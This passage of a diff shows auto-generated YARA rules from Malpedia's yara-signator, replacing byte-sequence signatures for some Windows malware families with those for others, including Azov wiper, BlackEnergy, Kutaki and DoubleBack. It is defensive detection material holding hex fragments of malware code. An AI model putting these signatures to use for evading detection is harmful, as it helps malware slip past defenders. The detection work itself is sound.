MALPEDIA_Win_Polyvice_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c1c207 4431c2 01ca 4489c9 c1c902 01d6 4189c8 } - $sequence_1 = { 41d1c1 4589ca 4589c1 4109f9 21fd 448954240c 4121c9 } - $sequence_2 = { 4c897c2420 e8???????? 488b0d???????? 4989c4 ffd3 488b2d???????? } - $sequence_3 = { 4489ef c1ef0a 4589d5 31f8 4531dd 01c2 4489e8 } - $sequence_4 = { 5b 5e 5f 5d c3 488d0de5a90100 41b804010000 } - $sequence_5 = { 41895120 0fb710 0fb64002 6641895125 41884127 488b443c48 } - $sequence_6 = { c1e80a 4131c6 4489d0 4189da 438d143e 21d8 41c1ca06 } - $sequence_7 = { 4131c0 4521d0 41c1ca02 4131d0 8d942a9979825a 4101c8 4489c9 } - $sequence_8 = { 4c8d0526d40000 c1e008 31c3 89f8 c1e818 0fb6d3 458b1c82 } - $sequence_9 = { 664139dc 0f46d9 83c201 0fb7c2 4439f0 7cdc } + $sequence_0 = { 33db 4c8d35e14effff 4885db 750d 488bc7 498784f660de0100 eb1e } + $sequence_1 = { 4883ec28 488d0d75c60100 e8???????? 488d0da9f50000 4883c428 e9???????? } + $sequence_2 = { 660f6f05???????? f30f7f442470 66c745806557 c6458200 488d542470 488bc8 ff15???????? } + $sequence_3 = { 488dac2450feffff 4881ecb0020000 488b05???????? 4833c4 488985a0010000 4032ff } + $sequence_4 = { 4883c907 33ed 483bcf 7606 } + $sequence_5 = { 41894018 0fb60a 83e10f 4a0fbe8409a8150100 428a8c09b8150100 482bd0 8b42fc } + $sequence_6 = { e8???????? 488d0da9f50000 4883c428 e9???????? 4053 } + $sequence_7 = { 488d5202 83f902 72ea c605????????00 } + $sequence_8 = { 776a e8???????? 85c0 7428 85db 7524 488d0d92a30100 } + $sequence_9 = { 4c8d05e3e90000 83e23f 488bcf 48c1f906 488d14d2 498b0cc8 c644d13800 } condition: - 7 of them and filesize < 369664 + 7 of them and filesize < 290816 } -rule MALPEDIA_Win_Babar_Auto : FILE +rule MALPEDIA_Win_Azov_Wiper_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b29cd175-863b-5025-9e64-c8f5753d1c62" + id = "9d3c9489-8494-515f-a851-2efd685c079b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.babar" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.babar_auto.yar#L1-L162" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.azov_wiper" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.azov_wiper_auto.yar#L1-L116" license_url = "N/A" - logic_hash = "2b221179b5f8ee2ea03d97e07ac34f9970eda994151497ddf7357451a1c3d5d6" + logic_hash = "7b55d48ad9f56923d371b84a7be8f9204233f80fc6507fb08d7baa3b93540774" score = 75 quality = 75 tags = "FILE" @@ -97866,38 +98146,32 @@ rule MALPEDIA_Win_Babar_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 3bd6 7505 8d55e0 eb16 } - $sequence_1 = { 3bd6 721b 57 8bcb e8???????? 8bc8 } - $sequence_2 = { 3bd6 7503 8d5014 895010 } - $sequence_3 = { 3bd7 0f8440010000 397e14 0f8437010000 } - $sequence_4 = { 46 ddd9 83fe03 ddd8 } - $sequence_5 = { 3bd6 7505 8d55d8 eb16 } - $sequence_6 = { 3bd7 7215 7704 3bc3 } - $sequence_7 = { 3bd6 72d9 33f6 eb08 } - $sequence_8 = { 7506 807a0100 751c 8bc6 83c301 } - $sequence_9 = { 83c104 5f 8bc1 2b442414 5e c60100 } - $sequence_10 = { eb4b 8b4c2428 55 6800014004 55 55 55 } - $sequence_11 = { 8b5308 8b03 8bf9 33fa } - $sequence_12 = { 89542448 ffd5 50 53 ff15???????? 85c0 } - $sequence_13 = { 8b15???????? 5f 895608 8bc6 5e 8b8c2408060000 33cc } - $sequence_14 = { 8d442418 50 6a00 57 51 } - $sequence_15 = { 0fb65002 83e23f 0fb61432 885103 83c003 83c104 } + $sequence_0 = { 4883ef01 75e6 488b05???????? 33c9 488b10 } + $sequence_1 = { 741e 488b05???????? bafe010000 488bcb 4c8b00 } + $sequence_2 = { 4889442420 41ff9258010000 488b8c2470080000 4885c9 7410 488b05???????? } + $sequence_3 = { 4c8b10 4883c8ff 0f1f00 66837c410200 488d4001 75f4 } + $sequence_4 = { 488d55f3 ffd0 4883ec08 48c7042400000000 } + $sequence_5 = { 488b0b 488b10 ff5250 488d5b08 4883ef01 75e6 488b05???????? } + $sequence_6 = { 488bce 4c8b10 41ff5240 4885c0 } + $sequence_7 = { 498943e0 488d055cfbffff 498943e8 488b05???????? 488bce } + $sequence_8 = { 488b3d???????? f20f10842460020000 488b4710 f20f5c4004 660f2f400c 7310 } + $sequence_9 = { 488b05???????? 498d8f00040000 48895c2430 4533c9 } condition: - 7 of them and filesize < 1294336 + 7 of them and filesize < 73728 } -rule MALPEDIA_Win_Gpcode_Auto : FILE +rule MALPEDIA_Win_Kutaki_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "2b18987b-bc80-5fc9-83bb-027c69a960bd" + id = "c0ce7f5d-750c-52b1-ad8e-d94947241870" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gpcode" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gpcode_auto.yar#L1-L176" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kutaki" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kutaki_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "05e954eda4e4590590475795b2183e3631e7aeea469ee6afc7d69c80e137d118" + logic_hash = "2d6337f5a069ed263b69e96c0f4411506a5a576a0de1c3fe88d0c7f6f51b0ebe" score = 75 quality = 75 tags = "FILE" @@ -97911,40 +98185,32 @@ rule MALPEDIA_Win_Gpcode_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { a1???????? a3???????? 6800001000 68???????? ff35???????? } - $sequence_1 = { 68???????? e8???????? 91 6a00 } - $sequence_2 = { e8???????? e8???????? c705????????01000000 c3 55 8bec } - $sequence_3 = { 68f4010000 e8???????? 833d????????01 75ed e8???????? } - $sequence_4 = { 0f840d020000 a3???????? 68???????? ff35???????? e8???????? 85c0 } - $sequence_5 = { a1???????? eb18 8b1d???????? 53 } - $sequence_6 = { ff7508 6aff 68???????? ff75f4 ff15???????? } - $sequence_7 = { e8???????? 85c0 0f8447020000 a3???????? 68???????? } - $sequence_8 = { 23d8 741f 80c141 880d???????? } - $sequence_9 = { e8???????? 6a0a 68???????? 6a00 e8???????? 0bc0 7504 } - $sequence_10 = { 75dc 85c9 7415 85c0 } - $sequence_11 = { a0???????? 2c30 a2???????? eb0a } - $sequence_12 = { 53 ff7508 56 50 6802010000 } - $sequence_13 = { e9???????? ff75f4 6a08 ff35???????? ff15???????? } - $sequence_14 = { 47 46 8a06 84c0 8975f4 } - $sequence_15 = { 8bfb 2b7df4 837decff 8955bc 8955c4 } - $sequence_16 = { 50 57 ff15???????? 8d45e4 50 } - $sequence_17 = { 740c 803f29 7507 c6020f } + $sequence_0 = { e8???????? 8945d4 8d55d4 52 8d45cc 50 ff15???????? } + $sequence_1 = { ff15???????? 85c0 0f849b020000 8d4ddc 51 ff15???????? 50 } + $sequence_2 = { 51 e8???????? c745fc04000000 8b5510 33db 833a00 0f9ec3 } + $sequence_3 = { 8b4db4 3b4810 7309 c7458800000000 eb09 ff15???????? } + $sequence_4 = { 8d953cffffff 52 6808200000 ff15???????? 898564feffff 8d8564feffff 50 } + $sequence_5 = { ffd7 a1???????? 6685f6 0f8dfd000000 85c0 7515 68???????? } + $sequence_6 = { 50 ff15???????? 898548ffffff eb0a c78548ffffff00000000 833d????????00 751c } + $sequence_7 = { 68???????? c78570ffffff01000000 c78568ffffff02000000 ffd6 68???????? 66898560ffffff c78558ffffff02000000 } + $sequence_8 = { 8985a4feffff 83bda4feffff00 7d26 68a0000000 } + $sequence_9 = { 8b957cffffff 52 ff15???????? 898518ffffff eb0a c78518ffffff00000000 8b45c8 } condition: - 7 of them and filesize < 761856 + 7 of them and filesize < 1335296 } -rule MALPEDIA_Win_Tempedreve_Auto : FILE +rule MALPEDIA_Win_Blackenergy_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "2db2cfb5-7120-5d3b-b0b8-3bdd15ee2814" + id = "62fd91e5-385e-5b2b-8f41-0f60c4fa0e69" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tempedreve" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tempedreve_auto.yar#L1-L163" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackenergy" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.blackenergy_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "81da1ba35c5682d2618815158fab067de40d7a4b67ee1d7e4df00dcd82c55387" + logic_hash = "4b4bc961d280588360830fea0a66046ffbc4c49bb89c22238ddcc6fa38fb42f9" score = 75 quality = 75 tags = "FILE" @@ -97958,38 +98224,32 @@ rule MALPEDIA_Win_Tempedreve_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 663bfb 7407 663b7c2448 7520 0fb77804 } - $sequence_1 = { 8d5602 03d1 e9???????? 807dfe80 751e 8a4101 24f8 } - $sequence_2 = { 83c40c ab 55 8d84247c0e0000 50 } - $sequence_3 = { 0f85c8020000 0fb74314 55 56 0fb77306 } - $sequence_4 = { 740e 80fb12 7511 8a4101 24c0 } - $sequence_5 = { 8a1c1e 8d42d0 46 32c9 3c09 } - $sequence_6 = { 015308 f7d0 0bc2 33c6 } - $sequence_7 = { ff743bfc 8bcb ff743bf8 e8???????? } - $sequence_8 = { 0f85c9000000 8b542430 3bda 7320 8d4d02 } - $sequence_9 = { c0e801 7434 83d102 89c5 } - $sequence_10 = { 2bc8 894c2414 3b4c242c 0f8738010000 8b4c2410 } - $sequence_11 = { c1e903 8d440140 c20400 8b44240c } - $sequence_12 = { d1c0 33c7 0fb6b90130cb00 d1c0 } - $sequence_13 = { 3a1429 8b4c2414 bb02000000 740c 3b8e24040000 0f85c9000000 } - $sequence_14 = { 0f846b010000 83ff01 0f8650010000 8b542454 8bcf 2bcb 8d0411 } - $sequence_15 = { f7d0 8944241c 61 c20800 60 8b742424 } + $sequence_0 = { 89430c 8bc3 5f 5b } + $sequence_1 = { 56 e8???????? 8bf0 85f6 7417 56 6a00 } + $sequence_2 = { e8???????? 85c0 0f848c130000 8945b4 8b7508 8b7d10 8b4d0c } + $sequence_3 = { c70200000000 8b5104 0bd2 7407 c7420800000000 5a } + $sequence_4 = { 49 8bc3 2bc1 40 5b 5f 8bd0 } + $sequence_5 = { 53 e8???????? 6a00 ffd0 8b5f3c 8365c800 } + $sequence_6 = { 47 38e0 74f1 3bca 7602 } + $sequence_7 = { ff15???????? c3 55 8bec 81ec08010000 8365fc00 57 } + $sequence_8 = { 83f905 770b c745f409000000 33c9 } + $sequence_9 = { ff75c4 51 6a00 ff7514 56 ff7508 } condition: - 7 of them and filesize < 155648 + 7 of them and filesize < 98304 } -rule MALPEDIA_Win_Albaniiutas_Auto : FILE +rule MALPEDIA_Win_Doubleback_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6944bcab-7fa1-5041-889b-6d1c7305340e" + id = "035a9a1e-c37c-5062-9628-749c129d60a8" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.albaniiutas" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.albaniiutas_auto.yar#L1-L114" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.doubleback" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.doubleback_auto.yar#L1-L117" license_url = "N/A" - logic_hash = "ae4d05366f3510708fa40872966a48e3078a4c97e3d0950cdaf94819ee9ab7c6" + logic_hash = "3ec9aa1fddb06b8b6c176677c7cb9e9e3472c33e097d5e85291d462774406acd" score = 75 quality = 75 tags = "FILE" @@ -98003,71 +98263,71 @@ rule MALPEDIA_Win_Albaniiutas_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c745e410000000 c705????????02000000 c745e802000000 c745ec07000000 c745f000000000 } - $sequence_1 = { 03048d90df0210 50 ff15???????? 5d } - $sequence_2 = { 83c40c 5d c20c00 e9???????? 55 8bec ff7508 } - $sequence_3 = { 56 8b048d90df0210 57 8b7d10 } - $sequence_4 = { 8b049590df0210 f644082801 7421 57 e8???????? 59 50 } - $sequence_5 = { 8975ec 0fb70445b01a0110 66894c4774 8bcf } - $sequence_6 = { 0f8e6fffffff 83c8ff eb07 8b04cd4c6b0110 } - $sequence_7 = { 8b4508 c740183c1b0110 c74104513f0000 e9???????? } - $sequence_8 = { 8b4508 c74018241c0110 e9???????? 8b550c c74104473f0000 83fa06 0f8430070000 } - $sequence_9 = { c74048c0a40110 8b4508 6689486c 8b4508 } + $sequence_0 = { b947060000 eb49 b9e7050000 eb42 b9e3050000 eb3b } + $sequence_1 = { b947060000 eb49 b9e7050000 eb42 } + $sequence_2 = { 3d00280000 7438 3d5a290000 742a 3d39380000 741c 3dd73a0000 } + $sequence_3 = { b9d4070000 eb13 b975070000 eb0c b96f070000 eb05 } + $sequence_4 = { e8???????? 85c0 7508 c60703 } + $sequence_5 = { b9e3050000 eb3b b90b070000 eb34 2d63450000 7428 } + $sequence_6 = { eb49 b9e7050000 eb42 b9e3050000 eb3b b90b070000 eb34 } + $sequence_7 = { b975070000 eb0c b96f070000 eb05 } + $sequence_8 = { b9d4070000 eb13 b975070000 eb0c b96f070000 } + $sequence_9 = { 751a b9d4070000 eb13 b975070000 } condition: - 7 of them and filesize < 566272 + 7 of them and filesize < 106496 } -rule MALPEDIA_Win_Billgates_Auto : FILE +rule MALPEDIA_Win_Unidentified_094_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "936ce7c3-e0bc-5e8a-a94c-d204107ad6c9" - date = "2026-01-05" - modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.billgates" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.billgates_auto.yar#L1-L118" + id = "f5bdd8f3-d974-5222-9555-3631072a29c0" + date = "2023-12-06" + modified = "2023-12-08" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_094" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_094_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "0d1344c595e66a8a3fe952afc687de569fadd20ac0c050f652fba5100e4b414d" + logic_hash = "f3d0ed91e99c9ab03a6ddd24a2a28007a40b7e677077c8b725a5a67f32cc52a7" score = 75 quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20260105" - malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" - malpedia_version = "20251219" + malpedia_rule_date = "20231130" + malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351" + malpedia_version = "20230808" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7408 3c22 7404 3c30 7504 } - $sequence_1 = { 3c21 7408 3c23 7404 3c24 } - $sequence_2 = { 7404 3c58 7507 b802000000 eb02 } - $sequence_3 = { 740c 3c11 7408 3c22 7404 3c30 7504 } - $sequence_4 = { 3c11 7408 3c22 7404 3c30 7504 } - $sequence_5 = { 3c21 7408 3c23 7404 } - $sequence_6 = { ff15???????? 83f8ff 7508 ff15???????? f7d8 85c0 } - $sequence_7 = { 3c10 740c 3c11 7408 3c22 7404 3c30 } - $sequence_8 = { 740c 3c11 7408 3c22 7404 } - $sequence_9 = { 3c10 740c 3c11 7408 } + $sequence_0 = { 890d???????? 57 8915???????? a3???????? 83ceff b9???????? } + $sequence_1 = { 6a5c 68???????? e8???????? 83c408 33c9 } + $sequence_2 = { 0fb65004 3015???????? 0fb64805 300d???????? 0fb65006 3015???????? } + $sequence_3 = { 83c310 ff4d0c 0f857ffeffff 5f } + $sequence_4 = { 0fb65004 3015???????? 0fb64805 300d???????? 0fb65006 3015???????? c3 } + $sequence_5 = { 884dff 84d2 7902 341b } + $sequence_6 = { 3055fd 0fb61401 3055fe 0fb6540101 3055ff 8b55fc 89540102 } + $sequence_7 = { 6a00 6a00 6a00 ff15???????? c3 } + $sequence_8 = { 80f31b 8ad3 02d2 84db 7903 80f21b } + $sequence_9 = { 890d???????? 57 8915???????? a3???????? } condition: - 7 of them and filesize < 801792 + 7 of them and filesize < 524288 } -rule MALPEDIA_Win_Oski_Auto : FILE +rule MALPEDIA_Win_Moonwind_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5c71af2a-ab1c-54b1-b031-9d62fe7b8e58" + id = "b9622b32-c792-5aeb-a059-5721d1f27a2f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.oski" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.oski_auto.yar#L1-L184" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.moonwind" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.moonwind_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "6e592abd5f7946bd0b6a43d8ee0af2b699a6055e4a91c9728a4df01ede6824ac" + logic_hash = "6d3886946e413d262cc391b5e8605e5201d1334018954f9d8c7fe7ffb4921df3" score = 75 quality = 75 tags = "FILE" @@ -98081,39 +98341,32 @@ rule MALPEDIA_Win_Oski_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 50 a1???????? 50 8d8df0feffff 51 e8???????? } - $sequence_1 = { 25ff7f0000 c3 8bff 55 8bec 83ec14 ff7510 } - $sequence_2 = { 83c40c e8???????? 50 a1???????? 50 } - $sequence_3 = { 8975f0 e8???????? cc 8bff 55 8bec 8b550c } - $sequence_4 = { 393d???????? 0f94c0 33d2 0bc8 } - $sequence_5 = { 57 e8???????? 8b4618 83c40c 6a00 6a00 } - $sequence_6 = { 56 8d85ecfeffff 50 8d8dd0fcffff 51 eb18 f685a4fcffff10 } - $sequence_7 = { 8b4508 8945b0 8b450c 33db 8bc8 } - $sequence_8 = { f3c3 e9???????? 8bff 55 8bec 83ec1c a1???????? } - $sequence_9 = { ebe9 6a02 e8???????? 59 c3 e8???????? } - $sequence_10 = { 8b5508 52 a1???????? 50 8d8de8fdffff } - $sequence_11 = { 51 e8???????? 83c40c 8985e4fdffff 83bde4fdffff00 } - $sequence_12 = { e8???????? 83c404 8b0d???????? 51 ff15???????? a3???????? } - $sequence_13 = { 8b511c 83c220 52 6a00 } - $sequence_14 = { 52 6a00 68???????? ff15???????? 8945f0 837df000 } - $sequence_15 = { 83c404 8b55f8 8955f4 8b45f4 50 e8???????? 83c404 } - $sequence_16 = { 51 6800020000 8b55f4 52 ff15???????? 8945f0 } + $sequence_0 = { b90f000000 f3ab 83c308 b800000000 } + $sequence_1 = { 83c404 03d8 895dec 8965e8 6828000000 8b45f0 50 } + $sequence_2 = { 3965a8 740d 6806000000 e8???????? 83c404 50 8b5da4 } + $sequence_3 = { 83c404 8b45ec 50 8b1d???????? 85db 7409 53 } + $sequence_4 = { e8???????? 83c428 8945ac 8b45ac 50 8b5dd8 53 } + $sequence_5 = { 68000000c0 ff750c e8???????? a3???????? 833d????????ff 0f84b2000000 e8???????? } + $sequence_6 = { 6824000000 e8???????? 83c404 a3???????? 8bd8 8bf8 } + $sequence_7 = { 8b5d08 8b1b 83c304 895dfc 8965f8 6805000000 8b5dfc } + $sequence_8 = { 53 8903 8bd8 c70300000000 c7430400000000 5b 8b5d08 } + $sequence_9 = { 51 8d542478 8944247c 6a00 52 40 6a00 } condition: - 7 of them and filesize < 423936 + 7 of them and filesize < 1417216 } -rule MALPEDIA_Win_Homefry_Auto : FILE +rule MALPEDIA_Win_Lyposit_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d7d35e8c-e0c5-5ba6-b2d4-e95c77830765" + id = "c947693c-fdb4-5804-b039-d3be391d589e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.homefry" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.homefry_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lyposit" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lyposit_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "3f2d14189cc000f371864eda6ce01209469d1d59387364413aee3876a7479356" + logic_hash = "1aae27919b7142f3a956ce5a03df97f5716bf7d507962564bd1a349d0184cbbf" score = 75 quality = 75 tags = "FILE" @@ -98127,32 +98380,32 @@ rule MALPEDIA_Win_Homefry_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4157 4883ec20 4c8b7908 0fb701 4d8bf0 410fb61f 4c8bda } - $sequence_1 = { c744246038020000 ff15???????? 85c0 751d } - $sequence_2 = { 410fb61f 4c8bda 83f801 7623 } - $sequence_3 = { 488905???????? ff15???????? 488b0d???????? 448b4c2470 4c8b05???????? 488b15???????? } - $sequence_4 = { ffd5 85c0 0f8860010000 488b0d???????? 458d4e20 4c8d05480f0000 488b09 } - $sequence_5 = { e9???????? 480578ffffff 833d????????06 488905???????? } - $sequence_6 = { 751c 488d0d8f060000 488b742440 488b7c2448 4883c420 415e } - $sequence_7 = { 7343 0f1f8000000000 4983c9ff 488bd7 488bcb } - $sequence_8 = { 488917 48630a 4883c104 4803ca 48890f } - $sequence_9 = { 742e 48ffc3 483bdd 72d0 488bcf ff15???????? 33c0 } + $sequence_0 = { 68???????? e8???????? 8b5d10 8365fc00 6a1c 6a40 ff15???????? } + $sequence_1 = { 53 ff15???????? 85c0 742a 6aff ff75c0 ff15???????? } + $sequence_2 = { 83c410 85c0 7424 8b4ddc 8a01 3c31 7504 } + $sequence_3 = { 8b0f e8???????? 59 59 0337 } + $sequence_4 = { 52 50 ff91d0000000 8d45e4 50 ff15???????? ebd3 } + $sequence_5 = { 66a3???????? 8be5 5d c3 6a14 68???????? e8???????? } + $sequence_6 = { 84d2 7407 838b0c02000020 807dff00 7407 } + $sequence_7 = { ff75e4 ff7604 ff36 ff7508 e8???????? } + $sequence_8 = { 8b45fc ebd0 53 55 33db 33ed } + $sequence_9 = { ff75e4 ff15???????? 85c0 7425 6a0b 56 ff75d8 } condition: - 7 of them and filesize < 65536 + 7 of them and filesize < 466944 } -rule MALPEDIA_Win_Darkrat_Auto : FILE +rule MALPEDIA_Win_Nozelesn_Decryptor_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "23e37317-8228-5897-b34f-5636920d388d" + id = "d81a4891-2ccb-5a37-a1c9-3cb6dc4ddf54" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkrat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkrat_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nozelesn_decryptor" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nozelesn_decryptor_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "c66a4bb6e3f6849fe471570a3e9ab067b886ef3521f3b46d24057084154fb02f" + logic_hash = "df00466a0b451868376ca8f8e40a817d0c669175deb69c467a31b881c85a7c54" score = 75 quality = 75 tags = "FILE" @@ -98166,32 +98419,32 @@ rule MALPEDIA_Win_Darkrat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83c408 837b100a 8b7dd4 0f8514ffffff 8b55ec } - $sequence_1 = { e8???????? 83c408 c745e800000000 8d4dd8 } - $sequence_2 = { 51 56 e8???????? 83c40c c6043e00 eb17 57 } - $sequence_3 = { 72bd 8b4d08 42 8bc1 81fa00100000 72a5 8b49fc } - $sequence_4 = { 7435 6a13 68???????? 8bcb } - $sequence_5 = { 85c0 7527 6a0c 68???????? 8bcb e8???????? } - $sequence_6 = { c645fc01 8b45cc 83f810 7227 8d4801 } - $sequence_7 = { c7856cffffff0f000000 c68558ffffff00 6880000000 8d8570ffffff c745fc01000000 } - $sequence_8 = { c745d400000000 e8???????? 50 e8???????? 83c408 c745e800000000 8d4dd8 } - $sequence_9 = { 8b4314 0f43d6 8b7b10 2bc7 8b4dc8 3bc8 7726 } + $sequence_0 = { c1c20d 33f0 8bca 33f2 c1e103 33c8 d1c6 } + $sequence_1 = { 8bff 55 8bec 8b4d08 33c0 3b0cc5a8574600 7427 } + $sequence_2 = { 80f939 7510 c60630 8b8578ffffff 4e 3bf0 75e0 } + $sequence_3 = { 0f8742010000 eb14 8b7d80 83c002 8b75b4 8b8d7cffffff e9???????? } + $sequence_4 = { 8b450c 8b5508 8bca c745e800000000 c745ec0f000000 8b38 } + $sequence_5 = { 53 8b5d10 56 57 8bf9 33f6 8b07 } + $sequence_6 = { 89bd78ffffff 47 897d8c 813900ca9a3b 88559f 0f95c0 895588 } + $sequence_7 = { 8bfb 335df8 f7d7 8b4df8 0bd8 f7d1 } + $sequence_8 = { c745e428664200 eb08 8d4dd8 e8???????? 837e1808 } + $sequence_9 = { 837de800 894da0 894d90 7653 8b03 8d4dc0 51 } condition: - 7 of them and filesize < 884736 + 7 of them and filesize < 1122304 } -rule MALPEDIA_Win_Bit_Rat_Auto : FILE +rule MALPEDIA_Win_Graphican_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f95bf2c0-1a3f-5ba6-86c1-dc6657e9fb49" + id = "306b4097-e66d-555f-a881-23bb9c0b513c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bit_rat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bit_rat_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphican" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.graphican_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "6a75a2a36ee1576648e5cd3e08166671639be750c77ff100be6cd8e32ca1f573" + logic_hash = "4ea64380581d8093475f0f95452d6256bbd394365c1616fdf688ce08e91d23e0" score = 75 quality = 75 tags = "FILE" @@ -98205,32 +98458,32 @@ rule MALPEDIA_Win_Bit_Rat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { eb1b 8b4de0 8b5ddc 8b7df8 8b45f4 eba7 8b4510 } - $sequence_1 = { e8???????? 8b4f0c 83c404 3b01 740e 6a00 6a00 } - $sequence_2 = { e8???????? c645fc42 50 8bce e8???????? c645fc24 53 } - $sequence_3 = { 85ed 7460 895c2410 8bd3 8bce 85f6 7454 } - $sequence_4 = { e9???????? 83f85b 751b 8bce e8???????? 8bce e8???????? } - $sequence_5 = { e8???????? 8b4c240c 83c404 83f903 751b 6a00 6a00 } - $sequence_6 = { ff7618 8bd7 e8???????? 8bd8 83c408 8bc2 8bcb } - $sequence_7 = { ff75ec ff75e8 ff75fc ff75f8 ff7514 53 eb2a } - $sequence_8 = { c3 8bff 55 8bec 5d e9???????? 6a00 } - $sequence_9 = { ffb674040000 e8???????? 8bf8 83c408 85ff 0f8595000000 50 } + $sequence_0 = { 8bbed0030000 8b5dfc 2bf8 8d04fa 8b51fc 8b7de8 899486e8010000 } + $sequence_1 = { 757b 8b4d0c 57 8b7d08 8955fc 894d08 85c0 } + $sequence_2 = { 57 c785f0dfffff00000000 ff15???????? 8b85ecdfffff 8b8df0dfffff 53 50 } + $sequence_3 = { 8b7de8 899486e8010000 8b45ec 40 43 } + $sequence_4 = { 897dc0 3c30 7c04 3c39 7e4b 8b5d08 397318 } + $sequence_5 = { 746d 53 8d9ef4030000 807e0400 8bc3 7428 33d2 } + $sequence_6 = { 5e c3 33c0 33d2 85c0 5f 0f94c0 } + $sequence_7 = { 8b4148 ffd0 8b7dc0 33f6 895dc8 895dc4 } + $sequence_8 = { 8b10 